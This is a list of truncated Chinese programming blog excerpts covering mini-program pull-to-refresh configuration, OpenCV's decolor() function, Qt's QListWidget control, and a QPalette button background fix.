1. 在頁面配置中啟用下拉刷新 首先&#xff0c;你需要在頁面的 pages.json 文件中啟用下拉刷新功能。 {"pages": [{"path": "pages/index/index","style": {"navigationBarTitleText": "首頁","enablePull…

OpenCV計算攝影學(14)實現對比度保留去色(Contrast Preserving Decolorization)的函數decolor()

操作系統&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 編程語言&#xff1a;C11 算法描述 將彩色圖像轉換為灰度圖像。它是數字印刷、風格化的黑白照片渲染&#xff0c;以及許多單通道圖像處理應用中的基本工具。 cv::decolor 是 OpenCV…

Qt常用控件之 縱向列表QListWidget

縱向列表QListWidget QListWidget 是一個縱向列表控件。 QListWidget屬性 屬性說明currentRow當前被選中的是第幾行。count一共有多少行。sortingEnabled是否允許排序。isWrapping是否允許換行。itemAlignment元素的對齊方式。selectRectVisible被選中的元素矩形是否可見。s…

關于 QPalette設置按鈕背景未顯示出來 的解決方法

若該文為原創文章&#xff0c;轉載請注明原文出處 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/146047054 長沙紅胖子Qt&#xff08;長沙創微智科&#xff09;博文大全&#xff1a;開發技術集合&#xff08;包含Qt實用技術、樹莓派、三維、OpenCV…